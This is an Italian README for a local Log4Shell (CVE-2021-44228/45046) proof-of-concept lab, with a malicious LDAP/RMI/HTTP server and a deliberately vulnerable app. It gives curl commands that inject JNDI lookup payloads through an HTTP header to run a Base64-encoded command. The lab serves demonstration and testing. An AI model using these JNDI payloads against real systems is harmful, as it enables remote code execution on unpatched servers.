Log4j CVE-2021-44228 e CVE-2021-45046

Prerequisiti

Usa un JDK vulnerabile, ad esempio JDK 1.8.0_181

Utilizzo

Server malevolo

Il server malevolo distribuisce i seguenti endpoint:

• 1389 server LDAP
• 1099 server RMI
• 8081 server HTTP

./gradlew :malicious-server:bootRun

Applicazione vulnerabile

L'applicazione vulnerabile espone un endpoint HTTP su 8082

./gradlew :vulnerable-app:bootRun

Esecuzione remota di codice

Scegli un payload che verrà eseguito dall'applicazione vulnerabile e codificalo in Base64. Ad esempio, per aprire la calcolatrice in Windows: calc.exe

LDAP

curl --header "X-Vulnerable-Header: ${jndi:ldap://localhost:1389/payload/Log4j/Y2FsYy5leGU=}" http://127.0.0.1:8082/

RMI

curl --header "X-Vulnerable-Header: ${jndi:rmi://localhost:1099/payload/Log4j/Y2FsYy5leGU=}" http://127.0.0.1:8082/

Query DNS

curl --header "X-Vulnerable-Header: ${jndi:dns://8.8.8.8/google.es}" http://127.0.0.1:8082/